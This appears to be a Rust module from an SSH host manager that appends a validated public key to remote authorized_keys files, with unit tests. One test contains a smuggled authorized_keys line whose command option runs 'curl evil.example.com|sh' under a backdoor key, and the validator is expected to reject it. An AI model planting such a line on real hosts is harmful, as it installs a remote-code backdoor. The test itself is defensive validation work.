1use std::io::{Read, Write};
13use std::path::{Path, PathBuf};
14use std::process::{Command, Stdio};
15use std::sync::atomic::{AtomicBool, Ordering};
16use std::sync::{Arc, Mutex};
17
18use log::debug;
19
20use crate::snippet::ChildGuard;
21
22#[derive(Debug, Clone, PartialEq, Eq)]
27pub enum KeyPushOutcome {
28 Appended,
30 AlreadyPresent,
32 Failed(String),
36 AuthRefused(String),
40 NeedsPassword {
45 detail: String,
46 host: Option<String>,
47 },
48 UnknownHostKey {
52 detail: String,
53 host: Option<String>,
54 },
55}
56
57#[derive(Clone, Default, PartialEq, Eq)]
61pub struct PushAuth {
62 pub askpass: Option<String>,
63 pub session_password: Option<String>,
64 pub bw_session: Option<String>,
65 pub trust_new_host_key: bool,
66 pub security_key: crate::security_key::SecurityKeyRun,
67 pub paths: Option<crate::runtime::env::Paths>,
69}
70
71impl std::fmt::Debug for PushAuth {
74 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
75 f.debug_struct("PushAuth")
76 .field("askpass", &self.askpass)
77 .field("session_password", &self.session_password.is_some())
78 .field("bw_session", &self.bw_session.is_some())
79 .field("trust_new_host_key", &self.trust_new_host_key)
80 .field("security_key", &self.security_key)
81 .finish_non_exhaustive()
82 }
83}
84
85#[derive(Clone, Default)]
89pub struct InflightChild(Arc<Mutex<Option<Arc<ChildGuard>>>>);
90
91impl InflightChild {
92 fn set(&self, guard: Arc<ChildGuard>) {
93 *self.0.lock().unwrap_or_else(|e| e.into_inner()) = Some(guard);
94 }
95
96 fn clear(&self) {
97 self.0.lock().unwrap_or_else(|e| e.into_inner()).take();
98 }
99
100 pub fn terminate(&self) {
102 let guard = self.0.lock().unwrap_or_else(|e| e.into_inner()).take();
103 if let Some(g) = guard {
104 g.terminate();
105 }
106 }
107
108 #[cfg(test)]
109 pub(crate) fn is_set(&self) -> bool {
110 self.0.lock().unwrap_or_else(|e| e.into_inner()).is_some()
111 }
112}
113
114#[derive(Debug, Clone, PartialEq, Eq)]
117pub struct KeyPushResult {
118 pub alias: String,
119 pub outcome: KeyPushOutcome,
120}
121
122const ABORTED: &str = "canceled";
125
126const STDERR_BUDGET: usize = 200;
130
131const MARKER_APPENDED: &str = "__PURPLE_KEY_PUSH:APPENDED__";
137const MARKER_ALREADY_PRESENT: &str = "__PURPLE_KEY_PUSH:ALREADY_PRESENT__";
138const MARKER_APPEND_FAILED: &str = "__PURPLE_KEY_PUSH:APPEND_FAILED__";
139
140const REMOTE_SNIPPET: &str = r#"umask 077
168if [ ! -d ~/.ssh ]; then
169 mkdir -p ~/.ssh
170 chmod 700 ~/.ssh
171fi
172if [ ! -f ~/.ssh/authorized_keys ]; then
173 touch ~/.ssh/authorized_keys
174 chmod 600 ~/.ssh/authorized_keys
175fi
176PUBKEY=$(cat | tr -d '\r')
177if tr -d '\r' < ~/.ssh/authorized_keys 2>/dev/null | grep -qxF -- "$PUBKEY"; then
178 echo __PURPLE_KEY_PUSH:ALREADY_PRESENT__
179 exit 0
180fi
181printf '%s\n' "$PUBKEY" >> ~/.ssh/authorized_keys || { echo __PURPLE_KEY_PUSH:APPEND_FAILED__; exit 1; }
182echo __PURPLE_KEY_PUSH:APPENDED__
183"#;
184
185pub fn classify_stdout(stdout: &str) -> Option<KeyPushOutcome> {
190 let trimmed = stdout.trim();
191 let last = trimmed
192 .lines()
193 .map(|l| l.trim_end_matches('\r').trim())
194 .rfind(|l| !l.is_empty())?;
195 match last {
196 MARKER_APPENDED => Some(KeyPushOutcome::Appended),
197 MARKER_ALREADY_PRESENT => Some(KeyPushOutcome::AlreadyPresent),
198 MARKER_APPEND_FAILED => Some(KeyPushOutcome::Failed(
199 "remote append failed (disk full, read-only mount?)".to_string(),
200 )),
201 _ => None,
202 }
203}
204
205fn scrub_stderr(raw: &str) -> String {
210 let cleaned: String = raw
211 .chars()
212 .filter(|c| !c.is_control() || *c == '\n')
213 .collect();
214 let joined = cleaned
215 .lines()
216 .map(str::trim)
217 .filter(|l| !l.is_empty())
218 .collect::<Vec<_>>()
219 .join(" ");
220 if joined.chars().count() > STDERR_BUDGET {
221 joined.chars().take(STDERR_BUDGET).collect::<String>() + "..."
222 } else {
223 joined
224 }
225}
226
227pub(crate) fn build_push_command(alias: &str, config_path: &Path, auth: &PushAuth) -> Command {
235 let mut cmd = Command::new("ssh");
236 cmd.arg("-F")
237 .arg(config_path)
238 .arg("-T")
239 .arg("-o")
240 .arg("ConnectTimeout=10")
241 .arg("-o")
247 .arg("ServerAliveInterval=10")
248 .arg("-o")
249 .arg("ServerAliveCountMax=3")
250 .arg("-o")
251 .arg("ControlMaster=no")
252 .arg("-o")
253 .arg("ControlPath=none");
254 let strict = if auth.trust_new_host_key {
255 "StrictHostKeyChecking=accept-new"
256 } else {
257 "StrictHostKeyChecking=yes"
258 };
259 cmd.arg("-o")
260 .arg(strict)
261 .arg("-o")
262 .arg(crate::askpass_env::SINGLE_PASSWORD_PROMPT_OPT);
263 if crate::askpass_env::needs_batch_mode(
264 auth.askpass.as_deref(),
265 auth.session_password.as_deref(),
266 ) {
267 cmd.arg("-o").arg(crate::askpass_env::BATCH_MODE_OPT);
268 }
269 cmd.arg("--")
270 .arg(alias)
271 .arg(REMOTE_SNIPPET)
272 .stdin(Stdio::piped())
273 .stdout(Stdio::piped())
274 .stderr(Stdio::piped());
275
276 crate::askpass_env::configure_auth(
277 &mut cmd,
278 alias,
279 config_path,
280 auth.askpass.as_deref(),
281 auth.session_password.as_deref(),
282 auth.bw_session.as_deref(),
283 true,
284 );
285 crate::security_key::configure(&mut cmd, &auth.security_key);
286
287 #[cfg(unix)]
290 unsafe {
295 use std::os::unix::process::CommandExt;
296 cmd.pre_exec(|| {
297 libc::setpgid(0, 0);
298 Ok(())
299 });
300 }
301 cmd
302}
303
304pub fn push_to_host(
311 pubkey: &str,
312 alias: &str,
313 config_path: &Path,
314 auth: &PushAuth,
315 cancel: &Arc<AtomicBool>,
316 inflight: &InflightChild,
317) -> KeyPushOutcome {
318 if cancel.load(Ordering::Relaxed) {
319 return KeyPushOutcome::Failed(ABORTED.to_string());
320 }
321
322 let mut cmd = build_push_command(alias, config_path, auth);
323
324 let mut child = match cmd.spawn() {
325 Ok(c) => c,
326 Err(e) => {
327 debug!("[purple] key_push: spawn failed alias={} err={}", alias, e);
328 return KeyPushOutcome::Failed(format!("spawn ssh: {}", e));
329 }
330 };
331
332 let stdin = child.stdin.take();
333 let stdout_pipe = child.stdout.take();
334 let stderr_pipe = child.stderr.take().map(|pipe| {
335 crate::security_key::RefusalScan::new(pipe, auth.paths.as_ref(), &auth.security_key)
336 });
337 let guard = Arc::new(ChildGuard::new(child));
338 inflight.set(Arc::clone(&guard));
339
340 if let Some(mut stdin) = stdin {
343 let payload = if pubkey.ends_with('\n') {
344 pubkey.to_string()
345 } else {
346 format!("{}\n", pubkey)
347 };
348 if let Err(e) = stdin.write_all(payload.as_bytes()) {
349 debug!(
350 "[purple] key_push: stdin write failed alias={} err={}",
351 alias, e
352 );
353 guard.terminate();
354 inflight.clear();
355 return KeyPushOutcome::Failed(format!("write pubkey: {}", e));
356 }
357 drop(stdin);
359 }
360
361 let stdout_reader = std::thread::spawn(move || {
367 let mut buf = Vec::new();
368 if let Some(mut pipe) = stdout_pipe {
369 let _ = pipe.read_to_end(&mut buf);
370 }
371 buf
372 });
373 let stderr_reader = std::thread::spawn(move || {
374 let mut buf = Vec::new();
375 if let Some(mut pipe) = stderr_pipe {
376 let _ = pipe.read_to_end(&mut buf);
377 }
378 buf
379 });
380
381 let status = guard.wait();
382 inflight.clear();
383 let stdout_buf = stdout_reader.join().unwrap_or_default();
384 let stderr_buf = stderr_reader.join().unwrap_or_default();
385
386 let Some(status) = status else {
387 debug!("[purple] key_push: wait failed alias={}", alias);
388 return KeyPushOutcome::Failed("wait ssh: child already reaped".to_string());
389 };
390
391 if cancel.load(Ordering::Relaxed) {
392 debug!(
393 "[purple] key_push: cancel hit mid-connection alias={}",
394 alias
395 );
396 return KeyPushOutcome::Failed(ABORTED.to_string());
397 }
398
399 let stdout = String::from_utf8_lossy(&stdout_buf);
400 let stderr = String::from_utf8_lossy(&stderr_buf);
401
402 if !status.success() {
403 let filtered = crate::file_browser::filter_ssh_warnings(&stderr);
406 let scrubbed = scrub_stderr(&filtered);
407 let msg = if scrubbed.is_empty() {
408 format!("ssh exited {}", status)
409 } else {
410 scrubbed
411 };
412 if crate::connection::is_unknown_host_key(&stderr) {
413 let host = crate::connection::unknown_host_key_host(&stderr).map(str::to_string);
414 debug!(
415 "[purple] key_push: unknown host key alias={} host={:?} status={}",
416 alias, host, status
417 );
418 return KeyPushOutcome::UnknownHostKey { detail: msg, host };
419 }
420 if crate::connection::needs_password(&stderr) {
421 let host = crate::connection::denied_host(&stderr).map(str::to_string);
422 debug!(
423 "[purple] key_push: needs password alias={} refused_by={:?} status={}",
424 alias, host, status
425 );
426 return KeyPushOutcome::NeedsPassword { detail: msg, host };
427 }
428 if crate::connection::auth_refused(&stderr) {
429 debug!(
430 "[purple] key_push: authentication refused alias={} status={}",
431 alias, status
432 );
433 return KeyPushOutcome::AuthRefused(msg);
434 }
435 debug!(
436 "[purple] key_push: failed alias={} status={} stderr={}",
437 alias, status, msg
438 );
439 return KeyPushOutcome::Failed(msg);
440 }
441
442 match classify_stdout(&stdout) {
443 Some(outcome) => {
444 debug!("[purple] key_push: alias={} outcome={:?}", alias, outcome);
445 outcome
446 }
447 None => {
448 let preview = scrub_stderr(&stdout);
449 KeyPushOutcome::Failed(format!(
450 "unexpected snippet output: {}",
451 if preview.is_empty() {
452 "(empty)"
453 } else {
454 &preview
455 }
456 ))
457 }
458 }
459}
460
461pub const PUBKEY_MAX_BYTES: u64 = 16 * 1024;
465
466const ALLOWED_KEY_TYPES: &[&str] = &[
471 "ssh-rsa",
472 "ssh-ed25519",
473 "ssh-dss",
474 "ecdsa-sha2-nistp256",
475 "ecdsa-sha2-nistp384",
476 "ecdsa-sha2-nistp521",
477 "sk-ssh-ed25519@openssh.com",
478 "sk-ecdsa-sha2-nistp256@openssh.com",
479];
480
481#[derive(Debug, Clone, PartialEq, Eq)]
483pub enum PubkeyValidationError {
484 Empty,
485 MultiLine,
486 UnsupportedType(String),
487 MalformedBase64,
488 TooLarge(u64),
489 NotARegularFile,
490}
491
492pub fn validate_pubkey(raw: &str) -> Result<String, PubkeyValidationError> {
499 let trimmed = raw.trim_end_matches(['\n', '\r', ' ', '\t']);
500 if trimmed.is_empty() {
501 return Err(PubkeyValidationError::Empty);
502 }
503 if trimmed.lines().count() != 1 {
504 return Err(PubkeyValidationError::MultiLine);
505 }
506 let mut parts = trimmed.splitn(3, ' ');
507 let typ = parts.next().unwrap_or("");
508 let blob = parts.next().unwrap_or("");
509 if !ALLOWED_KEY_TYPES.contains(&typ) {
510 return Err(PubkeyValidationError::UnsupportedType(typ.to_string()));
511 }
512 if blob.is_empty() {
513 return Err(PubkeyValidationError::MalformedBase64);
514 }
515 use base64::Engine;
516 if base64::engine::general_purpose::STANDARD
517 .decode(blob.as_bytes())
518 .is_err()
519 {
520 return Err(PubkeyValidationError::MalformedBase64);
521 }
522 Ok(trimmed.to_string())
523}
524
525pub fn read_pubkey_file(path: &Path) -> Result<String, PubkeyValidationError> {
530 use std::io::Read;
531 let mut opts = std::fs::OpenOptions::new();
532 opts.read(true);
533 #[cfg(unix)]
534 {
535 use std::os::unix::fs::OpenOptionsExt;
536 opts.custom_flags(libc::O_NOFOLLOW);
537 }
538 let f = opts
539 .open(path)
540 .map_err(|_| PubkeyValidationError::NotARegularFile)?;
541 let meta = f
542 .metadata()
543 .map_err(|_| PubkeyValidationError::NotARegularFile)?;
544 if !meta.file_type().is_file() {
545 return Err(PubkeyValidationError::NotARegularFile);
546 }
547 if meta.len() > PUBKEY_MAX_BYTES {
548 return Err(PubkeyValidationError::TooLarge(meta.len()));
549 }
550 let mut buf = String::new();
551 f.take(PUBKEY_MAX_BYTES)
552 .read_to_string(&mut buf)
553 .map_err(|_| PubkeyValidationError::NotARegularFile)?;
554 Ok(buf)
555}
556
557pub fn pubkey_path_for(paths: Option<&crate::runtime::env::Paths>, display_path: &str) -> PathBuf {
561 let with_pub = format!("{}.pub", display_path);
562 if let Some(rest) = with_pub.strip_prefix("~/")
563 && let Some(p) = paths
564 {
565 return p.home().join(rest);
566 }
567 PathBuf::from(with_pub)
568}
569
570#[cfg(test)]
571mod tests {
572 use super::*;
573
574 #[test]
575 fn classify_stdout_appended() {
576 assert_eq!(
577 classify_stdout("__PURPLE_KEY_PUSH:APPENDED__\n"),
578 Some(KeyPushOutcome::Appended)
579 );
580 }
581
582 #[test]
583 fn classify_stdout_already_present() {
584 assert_eq!(
585 classify_stdout("__PURPLE_KEY_PUSH:ALREADY_PRESENT__\n"),
586 Some(KeyPushOutcome::AlreadyPresent)
587 );
588 }
589
590 #[test]
591 fn classify_stdout_append_failed() {
592 match classify_stdout("__PURPLE_KEY_PUSH:APPEND_FAILED__\n") {
593 Some(KeyPushOutcome::Failed(_)) => {}
594 other => panic!("expected Failed, got {:?}", other),
595 }
596 }
597
598 #[test]
599 fn classify_stdout_motd_then_marker() {
600 let stdout = "Welcome to Ubuntu 22.04\nLast login: ...\n__PURPLE_KEY_PUSH:APPENDED__\n";
603 assert_eq!(classify_stdout(stdout), Some(KeyPushOutcome::Appended));
604 }
605
606 #[test]
607 fn classify_stdout_motd_word_collision_does_not_match() {
608 let stdout = "Welcome. APPENDED was a great patch.\nhave a good day\n";
612 assert_eq!(classify_stdout(stdout), None);
613 }
614
615 #[test]
616 fn classify_stdout_crlf_line_endings() {
617 let stdout = "Welcome\r\n__PURPLE_KEY_PUSH:APPENDED__\r\n";
620 assert_eq!(classify_stdout(stdout), Some(KeyPushOutcome::Appended));
621 }
622
623 #[test]
624 fn classify_stdout_unknown_returns_none() {
625 assert_eq!(classify_stdout("hello\nworld\n"), None);
626 }
627
628 #[test]
629 fn classify_stdout_empty_returns_none() {
630 assert_eq!(classify_stdout(""), None);
631 assert_eq!(classify_stdout("\n\n"), None);
632 }
633
634 #[test]
635 fn scrub_stderr_drops_control_bytes() {
636 let raw = "\x1b[31mError: connection refused\x1b[0m\n";
638 let scrubbed = scrub_stderr(raw);
639 assert!(!scrubbed.contains('\x1b'));
640 assert!(scrubbed.contains("Error"));
641 }
642
643 #[test]
644 fn scrub_stderr_joins_lines() {
645 let raw = "line1\nline2\nline3\n";
646 assert_eq!(scrub_stderr(raw), "line1 line2 line3");
647 }
648
649 #[test]
650 fn scrub_stderr_truncates_long_input() {
651 let raw = "x".repeat(STDERR_BUDGET * 2);
652 let scrubbed = scrub_stderr(&raw);
653 assert!(scrubbed.ends_with("..."));
654 assert!(scrubbed.chars().count() <= STDERR_BUDGET + 3);
655 }
656
657 #[test]
658 fn scrub_stderr_empty_input() {
659 assert_eq!(scrub_stderr(""), "");
660 assert_eq!(scrub_stderr(" \n\n \n"), "");
661 }
662
663 #[test]
664 fn pubkey_path_appends_pub_suffix() {
665 let p = pubkey_path_for(None, "/tmp/id_ed25519");
666 assert_eq!(p.to_string_lossy(), "/tmp/id_ed25519.pub");
667 }
668
669 #[test]
670 fn pubkey_path_expands_tilde() {
671 let paths = crate::runtime::env::Paths::new("/home/u");
672 let p = pubkey_path_for(Some(&paths), "~/.ssh/id_ed25519");
673 assert!(!p.to_string_lossy().starts_with('~'));
674 assert!(p.to_string_lossy().ends_with(".ssh/id_ed25519.pub"));
675 }
676
677 #[test]
678 fn push_to_host_short_circuits_when_cancel_is_set() {
679 let cancel = Arc::new(AtomicBool::new(true));
684 let inflight = InflightChild::default();
685 let outcome = push_to_host(
686 "ssh-ed25519 AAAA test@host",
687 "this-alias-does-not-exist",
688 std::path::Path::new("/tmp/purple-nonexistent-config"),
689 &PushAuth::default(),
690 &cancel,
691 &inflight,
692 );
693 match outcome {
694 KeyPushOutcome::Failed(msg) => {
695 assert!(
696 msg.contains("cancel"),
697 "expected cancel message, got: {}",
698 msg
699 );
700 }
701 other => panic!("expected Failed(cancelled), got {:?}", other),
702 }
703 assert!(!inflight.is_set(), "no child was spawned");
704 }
705
706 #[test]
707 fn push_to_host_against_missing_config_fails_and_clears_inflight() {
708 let cancel = Arc::new(AtomicBool::new(false));
712 let inflight = InflightChild::default();
713 let outcome = push_to_host(
714 "ssh-ed25519 AAAA test@host",
715 "this-alias-does-not-exist",
716 std::path::Path::new("/tmp/purple-nonexistent-config"),
717 &PushAuth::default(),
718 &cancel,
719 &inflight,
720 );
721 assert!(
722 matches!(outcome, KeyPushOutcome::Failed(_)),
723 "got {outcome:?}"
724 );
725 assert!(!inflight.is_set());
726 }
727
728 #[test]
729 fn inflight_terminate_kills_a_running_child() {
730 let mut cmd = Command::new("sleep");
732 cmd.arg("30");
733 #[cfg(unix)]
734 unsafe {
737 use std::os::unix::process::CommandExt;
738 cmd.pre_exec(|| {
739 libc::setpgid(0, 0);
740 Ok(())
741 });
742 }
743 let child = cmd.spawn().expect("spawn sleep");
744 let guard = Arc::new(ChildGuard::new(child));
745 let inflight = InflightChild::default();
746 inflight.set(Arc::clone(&guard));
747 assert!(inflight.is_set());
748 let started = std::time::Instant::now();
749 inflight.terminate();
750 assert!(
753 started.elapsed() < std::time::Duration::from_millis(100),
754 "terminate held the caller for {:?}",
755 started.elapsed()
756 );
757 assert!(!inflight.is_set());
758 let status = guard.wait();
760 assert!(started.elapsed() < std::time::Duration::from_secs(5));
761 assert!(status.is_some_and(|s| !s.success()));
762 }
763
764 #[cfg(unix)]
765 #[test]
766 fn a_child_that_ignores_sigterm_is_killed_by_the_waiting_thread() {
767 let mut cmd = Command::new("sh");
772 cmd.arg("-c")
773 .arg("trap '' TERM; while :; do sleep 0.05; done");
774 unsafe {
777 use std::os::unix::process::CommandExt;
778 cmd.pre_exec(|| {
779 libc::setpgid(0, 0);
780 Ok(())
781 });
782 }
783 let child = cmd.spawn().expect("spawn sh");
784 let guard = Arc::new(ChildGuard::new(child));
785 std::thread::sleep(std::time::Duration::from_millis(300));
788 let (tx, rx) = std::sync::mpsc::channel();
791 {
792 let guard = Arc::clone(&guard);
793 std::thread::spawn(move || {
794 let _ = tx.send(guard.wait());
795 });
796 }
797 let started = std::time::Instant::now();
798 guard.terminate();
799 assert!(
800 started.elapsed() < std::time::Duration::from_millis(100),
801 "terminate held the caller for {:?}",
802 started.elapsed()
803 );
804 let status = rx
805 .recv_timeout(std::time::Duration::from_secs(5))
806 .expect("the waiting thread must escalate to SIGKILL");
807 use std::os::unix::process::ExitStatusExt;
808 assert_eq!(
809 status.and_then(|s| s.signal()),
810 Some(libc::SIGKILL),
811 "SIGTERM was ignored, so only SIGKILL can have ended it"
812 );
813 }
814
815 #[test]
816 #[cfg(unix)]
817 fn a_stopped_run_sweeps_a_process_left_holding_the_pipe() {
818 let mut cmd = Command::new("sh");
825 cmd.arg("-c")
826 .arg(
827 "sh -c \"trap '' TERM; i=0; while [ \\$i -lt 200 ]; do sleep 0.05; i=\\$((i+1)); done\" & exec sleep 30",
828 )
829 .stdout(Stdio::piped())
830 .stderr(Stdio::piped());
831 unsafe {
834 use std::os::unix::process::CommandExt;
835 cmd.pre_exec(|| {
836 libc::setpgid(0, 0);
837 Ok(())
838 });
839 }
840 let mut child = cmd.spawn().expect("spawn sh");
841 let stderr_pipe = child.stderr.take();
842 let guard = Arc::new(ChildGuard::new(child));
843 std::thread::sleep(std::time::Duration::from_millis(300));
845
846 let (tx, rx) = std::sync::mpsc::channel();
849 std::thread::spawn(move || {
850 let mut buf = Vec::new();
851 if let Some(mut pipe) = stderr_pipe {
852 let _ = pipe.read_to_end(&mut buf);
853 }
854 let _ = tx.send(());
855 });
856
857 guard.terminate();
858 assert!(guard.wait().is_some(), "the child itself is reaped");
859 rx.recv_timeout(std::time::Duration::from_secs(5))
860 .expect("the reader must reach EOF once the group is swept");
861 }
862
863 #[test]
864 #[cfg(unix)]
865 fn a_run_that_ends_on_its_own_sweeps_the_group_too() {
866 let mut cmd = Command::new("sh");
872 cmd.arg("-c")
873 .arg("sh -c \"i=0; while [ \\$i -lt 200 ]; do sleep 0.05; i=\\$((i+1)); done\" & exec true")
874 .stdout(Stdio::piped())
875 .stderr(Stdio::piped());
876 unsafe {
879 use std::os::unix::process::CommandExt;
880 cmd.pre_exec(|| {
881 libc::setpgid(0, 0);
882 Ok(())
883 });
884 }
885 let mut child = cmd.spawn().expect("spawn sh");
886 let stderr_pipe = child.stderr.take();
887 let guard = Arc::new(ChildGuard::new(child));
888
889 let (tx, rx) = std::sync::mpsc::channel();
890 std::thread::spawn(move || {
891 let mut buf = Vec::new();
892 if let Some(mut pipe) = stderr_pipe {
893 let _ = pipe.read_to_end(&mut buf);
894 }
895 let _ = tx.send(());
896 });
897
898 assert!(guard.wait().is_some(), "the child itself is reaped");
900 rx.recv_timeout(std::time::Duration::from_secs(5))
901 .expect("the reader must reach EOF without a cancel");
902 }
903
904 fn push_args(auth: &PushAuth) -> Vec<String> {
905 build_push_command("web1", std::path::Path::new("/tmp/cfg"), auth)
906 .get_args()
907 .map(|a| a.to_string_lossy().into_owned())
908 .collect()
909 }
910
911 fn push_env_names(auth: &PushAuth) -> Vec<String> {
912 build_push_command("web1", std::path::Path::new("/tmp/cfg"), auth)
913 .get_envs()
914 .filter_map(|(k, v)| v.map(|_| k.to_string_lossy().into_owned()))
915 .collect()
916 }
917
918 fn has_opt(args: &[String], value: &str) -> bool {
919 args.windows(2).any(|w| w[0] == "-o" && w[1] == value)
920 }
921
922 #[test]
923 fn build_push_command_without_auth_sets_batch_mode_and_still_wires_askpass() {
924 let auth = PushAuth::default();
930 let args = push_args(&auth);
931 assert!(has_opt(&args, "BatchMode=yes"), "got: {args:?}");
932 assert!(has_opt(&args, "StrictHostKeyChecking=yes"), "got: {args:?}");
933 let names = push_env_names(&auth);
934 assert!(
935 names.iter().any(|n| n == "SSH_ASKPASS_REQUIRE"),
936 "got: {names:?}"
937 );
938 assert!(
939 !names
940 .iter()
941 .any(|n| n == crate::askpass_env::ONESHOT_SECRET_VAR),
942 "there is no secret to carry: {names:?}"
943 );
944 }
945
946 #[test]
947 fn build_push_command_with_source_wires_askpass_without_batch_mode() {
948 let auth = PushAuth {
949 askpass: Some("keychain".into()),
950 ..Default::default()
951 };
952 let args = push_args(&auth);
953 assert!(!has_opt(&args, "BatchMode=yes"), "got: {args:?}");
954 let names = push_env_names(&auth);
955 assert!(names.iter().any(|n| n == "SSH_ASKPASS"));
956 assert!(names.iter().any(|n| n == "SSH_ASKPASS_REQUIRE"));
957 }
958
959 #[test]
960 fn build_push_command_with_session_password_uses_oneshot_channel() {
961 let auth = PushAuth {
962 session_password: Some("hunter2".into()),
963 ..Default::default()
964 };
965 let args = push_args(&auth);
966 assert!(!has_opt(&args, "BatchMode=yes"), "got: {args:?}");
967 assert!(args.iter().all(|a| a != "hunter2"), "secret in argv");
968 let names = push_env_names(&auth);
969 assert!(names.iter().any(|n| n == "SSH_ASKPASS"));
970 assert!(
971 names
972 .iter()
973 .any(|n| n == crate::askpass_env::ONESHOT_SECRET_VAR)
974 );
975 }
976
977 #[test]
978 fn build_push_command_forwards_bw_session() {
979 let auth = PushAuth {
980 askpass: Some("bw:item".into()),
981 bw_session: Some("tok".into()),
982 ..Default::default()
983 };
984 assert!(push_env_names(&auth).iter().any(|n| n == "BW_SESSION"));
985 }
986
987 #[test]
988 fn build_push_command_always_limits_ssh_to_one_password_attempt() {
989 for auth in [
992 PushAuth::default(),
993 PushAuth {
994 askpass: Some("keychain".into()),
995 ..Default::default()
996 },
997 PushAuth {
998 session_password: Some("hunter2".into()),
999 ..Default::default()
1000 },
1001 ] {
1002 let args = push_args(&auth);
1003 assert!(has_opt(&args, "NumberOfPasswordPrompts=1"), "got: {args:?}");
1004 }
1005 }
1006
1007 #[test]
1008 fn build_push_command_trust_retry_uses_accept_new() {
1009 let auth = PushAuth {
1010 trust_new_host_key: true,
1011 ..Default::default()
1012 };
1013 let args = push_args(&auth);
1014 assert!(
1015 has_opt(&args, "StrictHostKeyChecking=accept-new"),
1016 "got: {args:?}"
1017 );
1018 assert!(!has_opt(&args, "StrictHostKeyChecking=yes"));
1019 }
1020
1021 #[test]
1022 fn build_push_command_options_precede_the_separator() {
1023 let args = push_args(&PushAuth::default());
1024 let sep = args.iter().position(|a| a == "--").expect("-- present");
1025 let last_opt = args.iter().rposition(|a| a == "-o").expect("-o present");
1026 assert!(last_opt < sep, "got: {args:?}");
1027 assert_eq!(args[sep + 1], "web1");
1028 assert_eq!(args[sep + 2], REMOTE_SNIPPET);
1029 }
1030
1031 #[test]
1032 fn validate_pubkey_accepts_ed25519() {
1033 let line = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 ops@bastion";
1034 assert_eq!(validate_pubkey(line).unwrap(), line);
1035 }
1036
1037 #[test]
1038 fn validate_pubkey_strips_trailing_whitespace() {
1039 let raw = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 ops@bastion\n\r\n";
1040 let cleaned = validate_pubkey(raw).unwrap();
1041 assert!(!cleaned.ends_with('\n'));
1042 assert!(!cleaned.ends_with('\r'));
1043 }
1044
1045 #[test]
1046 fn validate_pubkey_rejects_empty() {
1047 assert_eq!(validate_pubkey(""), Err(PubkeyValidationError::Empty));
1048 assert_eq!(
1049 validate_pubkey(" \n\n"),
1050 Err(PubkeyValidationError::Empty)
1051 );
1052 }
1053
1054 #[test]
1055 fn validate_pubkey_rejects_multi_line_command_injection() {
1056 let raw = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 real@host\ncommand=\"curl evil.example.com|sh\",no-pty ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb2 backdoor@host";
1060 assert_eq!(validate_pubkey(raw), Err(PubkeyValidationError::MultiLine));
1061 }
1062
1063 #[test]
1064 fn validate_pubkey_rejects_unknown_type() {
1065 let raw = "ssh-ed25519-cert-v01@openssh.com AAAA cert@host";
1066 match validate_pubkey(raw) {
1067 Err(PubkeyValidationError::UnsupportedType(t)) => {
1068 assert_eq!(t, "ssh-ed25519-cert-v01@openssh.com");
1069 }
1070 other => panic!("expected UnsupportedType, got {:?}", other),
1071 }
1072 }
1073
1074 #[test]
1075 fn validate_pubkey_rejects_bogus_base64() {
1076 let raw = "ssh-ed25519 not!valid!base64!?? comment";
1077 assert_eq!(
1078 validate_pubkey(raw),
1079 Err(PubkeyValidationError::MalformedBase64)
1080 );
1081 }
1082
1083 #[test]
1084 fn validate_pubkey_rejects_empty_blob() {
1085 let raw = "ssh-ed25519 comment";
1086 assert_eq!(
1087 validate_pubkey(raw),
1088 Err(PubkeyValidationError::MalformedBase64)
1089 );
1090 }
1091
1092 #[test]
1093 fn read_pubkey_file_rejects_oversize() {
1094 let dir = tempfile::tempdir().expect("tempdir");
1095 let path = dir.path().join("huge.pub");
1096 let body = "x".repeat((PUBKEY_MAX_BYTES + 1) as usize);
1097 std::fs::write(&path, body).unwrap();
1098 match read_pubkey_file(&path) {
1099 Err(PubkeyValidationError::TooLarge(n)) => {
1100 assert!(n > PUBKEY_MAX_BYTES);
1101 }
1102 other => panic!("expected TooLarge, got {:?}", other),
1103 }
1104 }
1105
1106 #[cfg(unix)]
1107 #[test]
1108 fn read_pubkey_file_rejects_symlink() {
1109 let dir = tempfile::tempdir().expect("tempdir");
1110 let target = dir.path().join("real.pub");
1111 std::fs::write(&target, "ssh-ed25519 AAAA test@host").unwrap();
1112 let link = dir.path().join("link.pub");
1113 std::os::unix::fs::symlink(&target, &link).unwrap();
1114 assert!(matches!(
1115 read_pubkey_file(&link),
1116 Err(PubkeyValidationError::NotARegularFile)
1117 ));
1118 }
1119
1120 #[test]
1121 fn remote_snippet_has_expected_markers() {
1122 assert!(REMOTE_SNIPPET.contains(MARKER_APPENDED));
1125 assert!(REMOTE_SNIPPET.contains(MARKER_ALREADY_PRESENT));
1126 assert!(REMOTE_SNIPPET.contains(MARKER_APPEND_FAILED));
1127 assert!(REMOTE_SNIPPET.contains("grep -qxF"));
1128 assert!(REMOTE_SNIPPET.contains("tr -d '\\r'"));
1131 }
1132}